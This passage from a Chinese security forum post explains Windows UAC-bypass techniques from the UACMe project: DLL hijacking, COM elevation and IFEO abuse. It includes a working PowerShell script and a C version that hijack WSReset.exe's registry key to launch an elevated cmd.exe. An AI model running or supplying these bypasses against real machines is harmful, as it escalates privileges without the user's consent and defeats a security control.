  5.     _Out_ PULONG pcbDecompressed
  6. )
复制代码

其对应的参数为:
PayloadCode = g_ctx->DecompressRoutine(Entry->ayloadResourceId, Resource, DataSize, &ayloadSize);
Resource是加密的资源文件,在这里处理了加密过程

受篇幅所限,这里就不继续跟下去了,有兴趣的读者可以继续,其中密钥被放在了secrets.h中.这种方法就先说到这里
该项目中大部分Bypass UAC的方式都是这种DLL劫持的方法,只是劫持的DLL和EXE有所不同。
使用manifest文件进行DLL劫持
利用manifest进行Bypass UAC的方式是微软在修复一次由DLL加载顺序劫持导致的Bypass UAC时自己暴露出来的一种Bypass UAC的可行方案。
介绍一下manifest:
XP以前版本的windows,执行EXE时会像之前介绍的顺序寻找相应的dll,Manifest只是个多余的文件或资源,dll文件会直接到system32的目录下查找,并且调用。 而XP及其以后的操作系统,则会首先读取Manifest,获得exe文件需要调用的DLL列表(此时获得的,并不直接是DLL文件的本身的位置,而是DLL的manifest)操作系统再根据DLL的Manifest提供的信息去寻找对应的DLL ,这样就可能区别不同版本的同一个DLL文件。
在Windows中有些可执行程序没有内置的manifest,假设这个程序叫test.exe,如果攻击者在该可执行程序目录下新建一个test.exe.manifest并在manifest文件中指定file元素,则test.exe执行时会加载file元素中loadFrom属性指定的DLL(loadFrom的dll不能在KnownDlls中)
方法18就是采用这种方法,详情如下:
  1. Author: Leo Davidson derivative
  2.         Type: Dll Hijack (Manifest)
  3.         Method: IFileOperation
  4.         Target(s): \system32\taskhost.exe, \system32\tzsync.exe (any ms exe without manifest)
  5.         Component(s): Attacker defined
  6.         Implementation: ucmAutoElevateManifest
  7.         Works from: Windows 7 (7600)
  8.         Fixed in: Windows 10 RS1 (14371)
  9.                 How: Manifest parsing logic reviewed
复制代码

BypassUAC的过程如下(以win7版本为例)
  • 先从C:\windows\system32下拷贝taskhost.exe到%temp%\临时目录下,再利用高权限进程把taskhost.exe拷贝到C:\windows下
  • 在C:\windows\system32\sysprep下写一个cryptbase.dll(因为在C:\windows\system32\下本身存在cryptbase.dll,为了不影响系统功能,需要将攻击者自定义内容的cryptbase.dll拷贝到其他地方)并将payload注入到cryptbase.dll中
  • 在C:\windows下写入taskhost.exe.manifest文件.由于taskhost.exe无内置清单文件,所以会从manifest中指定的路径加载DLL即C:\Windows\system32\sysprep\cryptbase.DLL(该DLL的名称可变,但file标签下name的值也需要相应变化,这个标签指明了taskhost.exe会自动加载的dll名称,即cryptbase.DLL)

我们看一下taskhost.exe.manifest的内容

  1. <?xml version='1.0' encoding='utf-8' standalone='yes'?>
  2. <assembly
  3.     xmlns="urn:schemas-microsoft-com:asm.v1"
  4.     xmlns:asmv3="urn:schemas-microsoft-com:asm.v3"
  5.     manifestVersion="1.0"
  6. >
  7. <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
  8. <security>
  9. <requestedPrivileges>
  10. <requestedExecutionLevellevel="requireAdministrator"uiAccess="false" />
  11. </requestedPrivileges>
  12. </security>
  13. </trustInfo>
  14. <asmv3:application>
  15. <asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
  16. <autoElevate>true</autoElevate>
  17. </asmv3:windowsSettings>
  18. </asmv3:application>
  19. <fileloadFrom="C:\Windows\system32\sysprep\cryptbase.DLL"name="cryptbase.DLL" />
  20. </assembly>
复制代码

在这个方法中,还有一点值得一提,那就是怎么向系统目录中写文件而不触发UAC,在项目中,ucmMasqueradedMoveFileCOM这个函数提供了向特权目录写而不触发UAC的功能,其是通过借助IFileOperation COM对象进行操作的.
IFileOperation COM对象进行文件操作是可以自动提升权限(AutoElevate)(从标准用户到管理员用户),但是它会检查当前使用该COM对象的进程是否为白名单进程,仅白名单进程的条件下可以进行自动权限提升。
在白名单进程中使用IFileOperation COM向受保护目录写文件时不会弹出UAC窗口。
使用WinSxS机制进行DLL劫持
WinSxS位于%systemroot%\WinSxS,为windows XP SP2后引入的一种机制,其中存放的是windows系统文件以及Dll文件的若干个副本,由于应用程序可以使用同一个DLL文件,因此出于兼容性与还原至旧版本的考虑,系统会在这里存放多个不同版本的文件副本。
SxS允许二进制文件嵌入manifest文件来表达详细的二进制依赖信息,当Windows公共控件包comctl32.dll被分裂为多个可以相互并存的版本以后该机制被使用,因而应用程序可以加载正确版本的二进制文件。此后其他的二进制文件也采用相同的方式进行版本管理。
C:\Windows\System32\sysprep\sysprep.exe的manifest文件如下,其中定义了dependency字段,这字段就是用来表达详细的二进制依赖信息的。

  1. ......
  2. <dependency>
  3. <dependentAssembly>
  4. <assemblyIdentity
  5.            type="win32"
  6.            name="Microsoft.Windows.Common-Controls"
  7.            version="6.0.0.0"
  8.            processorArchitecture="amd64"
  9.            publicKeyToken="6595b64144ccf1df"
  10.        language="*"
  11.       />
  12. </dependentAssembly>
  13. </dependency>

  14. </assembly>
  15. ......
复制代码

sysprep.exe在运行时会加载dependency设置的dll,比如name“Microsoft.Windows.Common-Controls”的对应的dll为comctl32.dll,sysprep.exe会加载C:\windwos\winsxs中的comctl32.dll,而不是加载system32下的dll。
但是在加载winsxs下的dll之前,windows会先应用Dotlocal机制去查找dll,这个机制也是MS推出的为了解决兼容性问题的一个机制,exe会首先检查当前目录下有没有sysprep.exe.local的文件夹,如果有则在该文件夹中寻找dll

  1. C:\Windows\System32\sysprep\sysprep.exe.local\amd64microsoft.windows.common-controls6595b64144ccf1df6.0.7601.18837none_fa3b1e3d17594757\comctl32.dll
复制代码
若没有则会从winsxs下寻找dll
  1. C:\Windows\winsxs\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.18837_none_fa3b1e3d17594757\comctl32.dll
复制代码

所以,我们bypassUAC的思路也就出来了:
  • C:\windows\system32\sysprep\下新建文件夹sysprep.exe.local\amd64microsoft.windows.common-controls6595b64144ccf1df6.0.7601.18837none_fa3b1e3d17594757\
  • 在该文件夹下写入comctl32.dll
  • 运行sysprep.exe进行DLL劫持

对应21号方法:

  1. Author: Leo Davidson derivative
  2.         Type: Dll Hijack
  3.         Method: IFileOperation, SxS DotLocal
  4.         Target(s): \system32\sysprep\sysprep.exe
  5.         Component(s): comctl32.dll
  6.         Implementation: ucmSXSMethod
  7.         Works from: Windows 7 (7600)
  8.         Fixed in: Windows 10 RS3 (16232)
  9.                 How: MitigationPolicy->ProcessImageLoadPolicy->PreferSystem32Images
复制代码

当然也可以选择劫持其他程序
通过代码注入绕过UAC
第14号方法使用了这种技术

  1. Author: Leo Davidson, WinNT/Sirefef derivative
  2.         Type: Dll Hijack
  3.         Method: IFileOperation
  4.         Target(s): \system\credwiz.exe, \system32\wbem\oobe.exe
  5.         Component(s): netutils.dll
  6.         Implementation: ucmSirefefMethod
  7.         Works from: Windows 7 (7600)
  8.         Fixed in: Windows 10 TH2 (10548)
  9.                 How: AppInfo elevated application path control hardening
复制代码

具体操作流程如下:
  • 将payloadDll(Fubuki)使用IFileOperation拷贝C:\Windows\system32\wbem\netutils.dll
  • 将C:\Windows\system32\credwiz.exe 拷贝到Temp目录下命名为oobe.exe
  • 将Temp\oobe.exe使用IFileOperation拷贝到C:\Windows\system32\wbem\oobe.exe
  • 启动credwiz.exe(以挂起模式CREATE_SUSPENDED启动)并向其进程注入shellcode(向credwiz中注入的代码是ucmxElevatedLaunchProc函数的代码)
  • ucmElevatedLaunchProc中执行ShellExec (以runas方式执行)启动C:\Windows\system32\wbem\oobe.exe,该可执行程序存在DLL劫持,C:\Windows\system32\wbem\netutils.dll得以运行,进而绕过UAC
  • 清理system32\wbem下的数据

其中ucmxElevatedLaunchProc的代码如下:

  1. DWORD WINAPI ucmxElevatedLaunchProc(
  2.     _In_ LOAD_PARAMETERS *Params
  3. )
  4. {
  5.     SHELLEXECUTEINFOW shexec;

  6.     shexec.cbSize = sizeof(shexec);
  7.     shexec.fMask = SEE_MASK_NOCLOSEPROCESS;
  8.     shexec.nShow = SW_SHOW;
  9.     shexec.lpVerb = Params->szVerb;
  10.     shexec.lpFile = Params->szTargetApp;
  11.     shexec.lpParameters = NULL;
  12.     shexec.lpDirectory = NULL;
  13.     if (Params->ShellExecuteExW(&shexec))
  14.         if (shexec.hProcess != NULL) {
  15.             Params->WaitForSingleObject(shexec.hProcess, INFINITE);
  16.             Params->CloseHandle(shexec.hProcess);
  17.         }

  18.     return Params->RtlExitUserThread(STATUS_SUCCESS);
  19. }
复制代码
其参数在
  1. RtlSecureZeroMemory(LoadParams, sizeof(LOAD_PARAMETERS));

  2.         _strcpy(LoadParams->szVerb, RUNAS_VERB);

  3.         _strcat(szB1, OOBE_EXE);
  4.         _strncpy(LoadParams->szTargetApp, MAX_PATH, szB1, MAX_PATH);

  5.         LoadParams->ShellExecuteExW = (pfnShellExecuteExW)GetProcAddress(
  6.             g_ctx->hShell32,
  7.             "ShellExecuteExW");

  8.         LoadParams->WaitForSingleObject = (pfnWaitForSingleObject)GetProcAddress(
  9.             g_ctx->hKernel32,
  10.             "WaitForSingleObject");

  11.         LoadParams->CloseHandle = (pfnCloseHandle)GetProcAddress(
  12.             g_ctx->hKernel32,
  13.             "CloseHandle");

  14.         LoadParams->RtlExitUserThread = (pfnRtlExitUserThread)GetProcAddress(
  15.             g_ctx->hNtdll,
  16.             "RtlExitUserThread");
复制代码

这里被构造,然后通过 Status = RtlCreateUserThread(hProcess, NULL, FALSE,  0, 0, 0,(PUSER_THREAD_START_ROUTINE)newEp, newDp,&hRemoteThread, NULL); 传递过去
关闭UAC机制
该方法第一次被使用是在一个叫Simda的恶意软件中。
这个方法有一个缺点,需要重启系统才能成功关闭UAC。
该方法利用微软没有公开的ISecurityEditor COM对象,该对象和IFileOperation COM对象类似,是一个AutoElevate的COM对象,在白名单进程中使用可以自动提升权限。
这个对象可以用于修改注册表的访问权限,攻击者可以伪装白名单进程然后修改如下注册表权限为可写
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
然后设置EnableLUA为0 (EnableLUA REG_DWORD 0)即可关闭UAC。

​5号方法用的就是这种手法:

  1. Author: WinNT/Simda
  2.         Type: Elevated COM interface
  3.         Method: ISecurityEditor
  4.         Target(s): HKLM registry keys
  5.         Component(s): -
  6.         Implementation: ucmSimdaTurnOffUac
  7.         Works from: Windows 7 (7600)
  8.         Fixed in: Windows 10 TH1 (10147)
  9.                 How: ISecurityEditor interface method changed
复制代码

关键代码如下:


  • 使用ISecurityEditor修改上述注册表权限为可写
  • 新建/修改注册表键EnableUA的值为0
  • 重启系统,成功关闭UAC

使用注册表制定程序加载DLL
该方法同样使用ISecurityEditor COM,修改的注册表项为,将其访问权限改为可写,然后在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options表项后新建子项cliconfg.exe,在子项下增加键值对:

  1. GlobalFlag REG_DWORD 0x0000100   
  2. VerifierDlls REG_SZ Hibiki.dll
复制代码

VerifierDlls的值为dll的名字,该dll为攻击者自定义dll,该DLL需要放置在C:\Windows\system32下。VerifierDlls中存储的DLL会被AppVerfier(应用程序检验器)使用。
通过WUSA将攻击者自动以DLL解压至C:\windwos\system32\Hibiki.dll下,然后运行cliconfg.exe即可在运行时自动加载Hibiki.dll,因为cliconfg.exe是AutoElevate的exe,所以Hiibiki.dll会以管理员权限运行,即绕过了UAC。
方法9使用了该技术:

  1. Author: Leo Davidson, WinNT/Simda, Win32/Carberp derivative
  2.         Type: Dll Hijack
  3.         Method: IFileOperation, ISecurityEditor, WUSA
  4.         Target(s): IFEO registry keys, \system32\cliconfg.exe
  5.         Component(s): Attacker defined Application Verifier Dll
  6.         Implementation: ucmAvrfMethod
  7.         Works from: Windows 7 (7600)
  8.         Fixed in: Windows 10 TH1 (10147)
  9.                 How: WUSA /extract option removed, ISecurityEditor interface method changed
复制代码

注意,由于是使用的WUSA来进行转移,所以同样也要构造一个cab格式的文件.

以上就是常见的通过DLL劫持的方式来BypassUAC的方法.
利用COM接口COM简介
COM是Component Object Model (组件对象模型)的缩写。 COM是微软公司为了计算机工业的软件生产更加符合人类的行为方式开发的一种新的软件开发技术。在COM构架下,人们可以开发出各种各样的功能专一的组件,然后将它们按照需要组合起来,构成复杂的应用系统。
应用程序与COM注册表的关系 - CLSID
首先需要介绍一下CLSID(Class Identifier),中文翻译为:“全局唯一标识符”。
CLSID是指Windows系统对于不同的应用程序,文件类型,OLE对象,特殊文件夹以及各种系统组件分配的一个唯一表示它的ID代码,用于对其身份的标识和与其他对象进行区分。位置在注册表的HKEY_CLASSES_ROOT\CLSID,这里存放了Windows系统组件对应的CLSID,选中某个CLSID,在右侧窗格中的“默认”值显示的“数据”即为该CLSID对应的系统组件名称,例如{26EE0668-A00A-44D7-9371-BEB064C98683}就是“控制面板”的CLSID。

可以有以下应用方式:
  • **方式一:**Win + R 快捷键调出“运行”对话框,输入 shell:::CLSID(例如 shell:::{26EE0668-A00A-44D7-9371-BEB064C98683} ),确定,即可打开“控制面板”(不是在cmd中)
  • **方式二:**创建快捷方式。在创建快捷方式时,只需在“请键入对象的位置”文本框中输入 explorer shell:::CLSID(例如explorer shell:::{26EE0668-A00A-44D7-9371-BEB064C98683} ),那么使用创建的快捷方式打开“控制面板”;
  • **方式三:**你也可以把某个系统组件的CLSID嵌入到应用软件中,以快速打开某组件;

利用可以Auto Approval的COM组件BypassUAC
对于这类BypassUAC,需要满足以下两点:
  • elevation属性开启,且开启Auto Approval(需要利用这个特点绕过UAC)
  • COM组件中的接口存在可以命令执行的地方(用来执行我们自己的命令)

举个例子,如41号方法:

  1. Author: Oddvar Moe
  2.         Type: Elevated COM interface
  3.         Method: ICMLuaUtil
  4.         Target(s): Attacker defined
  5.         Component(s): Attacker defined
  6.         Implementation: ucmCMLuaUtilShellExecMethod
  7.         Works from: Windows 7 (7600)
  8.         Fixed in: unfixed ????
  9.                 How: -
复制代码

这个方法使用的是CMSTPLUA组件的ICMLuaUtil接口,我们对着上述两个特点看一下

这里建议下载一个OleViewDotNet工具,可以方便的查看系统中的COM接口属性信息,注意需要用管理员权限运行
Registry -> CLSIDs

在CLSID上右键 -> properties -> Elevation 可以看到该接口Enabled:True&Auto Approval:True,满足上述第一个条件

鼠标悬浮在ICMLuaUtil上,可以看到虚函数表地址在cmlua.dll+0x7360的位置处

用IDA打开看一下,找到0x180007360的位置,可以看到ICMLuaUtil接口的虚函数表

满足了第二个条件,即通过调用ShellExecuteEx这个Windows API实现了命令执行
我们具体看一下实现过程:
关键代码在Source\Akagi\methods\api0cradle.c中的ucmCMLuaUtilShellExecMethod函数中定义,同样,调用该函数前需要用supMasqueradeProcess伪装成白名单,关键函数如下:


  1. NTSTATUS ucmCMLuaUtilShellExecMethod(
  2.     _In_ LPWSTR lpszExecutable
  3. )
  4. {
  5.     NTSTATUS         MethodResult = STATUS_ACCESS_DENIED;
  6.     HRESULT          r = E_FAIL, hr_init;
  7.     BOOL             bApprove = FALSE;
  8.     ICMLuaUtil      *CMLuaUtil = NULL;

  9.     hr_init = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED); //初始化当前线程Com组件
  10.       ......

  11.         r = ucmAllocateElevatedObject(
  12.             T_CLSID_CMSTPLUA,
  13.             &IID_ICMLuaUtil,
  14.             CLSCTX_LOCAL_SERVER,
  15.             (void**)&CMLuaUtil);

  16.                         ......

  17.         r = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil,
  18.             lpszExecutable,
  19.             NULL,
  20.             NULL,
  21.             SEE_MASK_DEFAULT,
  22.             SW_SHOW);
  23.                   ......

  24.     if (CMLuaUtil != NULL) {
  25.         CMLuaUtil->lpVtbl->Release(CMLuaUtil);
  26.     }

  27.     if (hr_init == S_OK)
  28.         CoUninitialize();

  29.     return MethodResult;
  30. }
复制代码

ucmAllocateElevatedObject中用CoGetObject创建了一个以管理员权限运行的CMLuaUtil组件
然后调用ShellExec传进来的lpszExecutable,也就是payload:

  1. if (g_ctx->OptionalParameterLength == 0)
  2.         lpszParameter = g_ctx->szDefaultPayload;
  3.     else
  4.         lpszParameter = g_ctx->szOptionalParameter;
  5. return ucmCMLuaUtilShellExecMethod(lpszParameter);
复制代码

定义在sup.c中,就是一行简单滴调用cmd.exe的命令


寻找这类可利用接口
除了通过上面的方式在OleView中手动去找,还可以通过UACMe项目提供的Yuubari工具快速查看系统UAC设定信息以及所有可以利用的程序和COM组件,这个工具的使用上文已经详细说明了,这里我们来看一下日志内容,挑几个重点的说:

  1. ===============================================================
  2. [UacView] Basic UAC settings
  3. ===============================================================
  4. ElevationEnabled=Enabled
  5. VirtualizationEnabled=Enabled
  6. InstallerDetectEnabled=Enabled
  7. ConsentPromptBehaviorAdmin=5
  8. EnableSecureUIAPaths=1
  9. PromptOnSecureDesktop=Enabled
复制代码
显示基本的UAC配置
  1. ===============================================================
  2. [UacView] Autoelevated COM objects
  3. ===============================================================
  4. EditionUpgradeHelper Class
  5. EditionUpgradeHelper
  6. \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{01776DF3-B9AF-4E50-9B1C-56E93116D704}


  7. CEIPLuaElevationHelper
  8. wercplsupport.dll
  9. Customer Experience Improvement Program
  10. \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{01D0A625-782D-4777-8D4E-547E6457FAD5}
复制代码
罗列所有可以自动权限提升的COM对象
  1. ===============================================================
  2. [UacView] Autoelevated applications in Windows directory
  3. ===============================================================

  4. C:\Windows\System32\BitLockerWizardElev.exe
  5. requireAdministrator
  6. uiAccess=FALSE
  7. autoElevate=TRUE
复制代码

罗列所有可以自动提升权限的应用(在windows目录下的)
劫持COM组件绕过UAC
这种方式的原理在于CLSID下的两个键名:InprocHandler32和InprocServer32:
  • InprocHandler32:指定应用程序使用的自定义处理程序
  • InprocServer32:注册32位进程所需要的模块、线程属性配置



  1. HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID   
  2.         {CLSID}      
  3.         InprocServer32          (Default) = path         
  4.         ThreadingModel             = value
复制代码



COM组件的加载过程
  • HKCU\Software\Classes\CLSID
  • HKCR\CLSID
  • HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\

所以我们可以通过在COM组件注册表下创建InprocServer32键值并将其指向我们自己的payload DLL来实现COM组件的劫持
40号方法就是使用这种技术:

  1. Author: Ruben Boonen
  2.         Type: COM Handler Hijack
  3.         Method: Registry key manipulation
  4.         Target(s): \system32\mmc.exe, \system32\recdisc.exe
  5.         Component(s): Attacker defined
  6.         Implementation: ucmCOMHandlersMethod
  7.         Works from: Windows 7 (7600)
  8.         Fixed in: Windows 10 19H1 (18362)
  9.                 How: Side effect of Windows changes
复制代码

流程如下:
  • 将payload DLL先复制到temp下
  • 在CLSID/{0A29FF9E-7F9C-4437-8B11-F424491E3931}下创建InprocServer32并将值指向刚刚解压出来的dll文件,ThreadingModel的值为Apartment
  • 创建ShellFolder,把HideOnDesktopPerUser值改为空,把Attributes值改为0xF090013D,这是"combination of SFGAO flags"
  • 用mmc.exe运行eventvwr.msc,即可完成劫持.
  • 清理注册表

利用Shell API
这种方法主要是通过寻找autoElevated属性为true的程序,修改其注册表\shell\open\command的值,改成我们想要执行的paylaod,在该值中指明的字段会在这类程序运行时自动执行,类似于默认程序打开,当你以后运行该程序时,这个command命令都会自动执行
UACME原本项目中的方法...我尝试的时候有点bug,不知道是我系统的问题还是什么问题,后续研究一下..这里给一个win10仍可用的payload,利用到了WSReset.exe这个应用商店的程序,利用思路如下:
  • 更改HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command的值为"C:\Windows\System32\cmd.exe /c start cmd.exe"
  • 运行WSReset.exe
  • 清理注册表

将大佬原本的ps版本payload稍作修改:

  1. <#
  2. .SYNOPSIS
  3. Fileless UAC Bypass by Abusing Shell API

  4. Author: Hashim Jawad of ACTIVELabs

  5. .PARAMETER Command
  6. Specifies the command you would like to run in high integrity context.

  7. .EXAMPLE
  8. Invoke-WSResetBypass -Command "C:\Windows\System32\cmd.exe /c start cmd.exe"

  9. This will effectivly start cmd.exe in high integrity context.

  10. .NOTES
  11. This UAC bypass has been tested on the following:
  12. - Windows 10 Version 1803 OS Build 17134.590
  13. - Windows 10 Version 1809 OS Build 17763.316
  14. #>

  15. function Invoke-WSResetBypass {
  16.       Param (
  17.       [String]$Command = "C:\Windows\System32\cmd.exe /c start cmd.exe"
  18.       )

  19.       $CommandPath = "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command"
  20.       $filePath = "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command"
  21.       New-Item $CommandPath -Force | Out-Null
  22.       New-ItemProperty -Path $CommandPath -Name "DelegateExecute" -Value "" -Force | Out-Null
  23.       Set-ItemProperty -Path $CommandPath -Name "(default)" -Value $Command -Force -ErrorAction SilentlyContinue | Out-Null
  24.       Write-Host "[+] Registry entry has been created successfully!"

  25.       $Process = Start-Process -FilePath "C:\Windows\System32\WSReset.exe" -WindowStyle Hidden
  26.       Write-Host "[+] Starting WSReset.exe"

  27.       Write-Host "[+] Triggering payload.."
  28.       Start-Sleep -Seconds 10

  29.       if (Test-Path $filePath) {
  30.       Remove-Item $filePath -Recurse -Force
  31.       Write-Host "[+] Cleaning up registry entry"
  32.       }
  33. }
  34. IEX Invoke-WSResetBypass;
复制代码

用法POWERSHELL -EXECUTIONPOLICY BYPASS -FILE C:\Users\User\Desktop\BypassUAC.ps1
改成C版本:
  1. #include <stdio.h>
  2. #include <windows.h>

  3. int main(void)
  4. {
  5.         LPCWSTR regname = L"Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open";
  6.         HKEY hkResult = NULL;
  7.         const wchar_t * payload = L"C:\\Windows\\System32\\cmd.exe /c start cmd.exe";
  8.         DWORD Len = wcslen(payload)*2 + 2;
  9.        
  10.         int ret = RegOpenKey(HKEY_CURRENT_USER, regname, &hkResult);

  11.         ret = RegSetValueEx(hkResult, L"command", 0, REG_SZ, (BYTE*)payload, Len);
  12.         if (ret == 0) {
  13.                 printf("success to write run key\n");
  14.                 RegCloseKey(hkResult);
  15.         }
  16.         else {
  17.                 printf("failed to open regedit.%d\n", ret);
  18.                 return 0;
  19.         }
  20.         printf("Starting WSReset.exe");
  21.         system("C://Windows//System32//WSReset.exe");
  22.         return 0;
  23. }
复制代码

实际在测试的时候,我的Win10(10.0.19041.329)没有成功,似乎是我的注册表之前被改坏了,但是这种思路就是这样是没有问题的,大名鼎鼎的冰河木马和灰鸽子都是采用类似的方式来执行自己的exe的.
UACMe中还是有很多没有被修复的BypassUac的方法的,在实际使用中要结合具体的情况来选取使用的方式,msf中也有多种BypassUac的方法可以使用.BypassUac的方法比较多,单思路来说,大体思路都在上述的总结中了,目前为止这应该是相对比较全面的一片BypassUac的方法总结了,有任何有问题的地方,请各位大佬指正.
BypassUac实践挖掘记录劫持注册表法
首先通过Yuubari找到疑似可以利用的程序

  1. C:\Windows\SysWOW64\ComputerDefaults.exe
  2. highestAvailable
  3. uiAccess=FALSE
  4. autoElevate=TRUE
复制代码
  1.     UAC 执行权限级别分三种

  2.     highestAvailable 和 requireAdministrator 的区别是:前者是以当前用户可以获得的最高权限运行,后者是仅以系统管理员权限运行。

  3.     我们找的话要找 highestAvailable 的,因为如果我们都能以管理员权限运行了,肯定就不需要 bypass UAC 了。
复制代码

  • :asInvoker 跟随调用者
  • highestAvailable
  • requireAdministrator


  • 启动Process Monitor,运行ComputerDefaults.exe. Process Monitor 选择 Tools-Process Tree,找到 ComputerDefaults.exe。


  • 右键- Go To Event

  • 然后过滤出 ComputerDefaults.exe 进程的活动

  • 查看进程间调用关系和权限


权限不够且不用读注册表,这里就无法使用这种方法利用
这里可以考虑写一个脚本自动去挖掘(监视注册表读操作,然后改建验证等等)
参考
  • https://www.secpulse.com/archives/68255.html
  • https://cloud.tencent.com/developer/article/1623517
  • https://payloads.online/archivers/2018-12-22/1








回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 11:34 , Processed in 0.022553 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表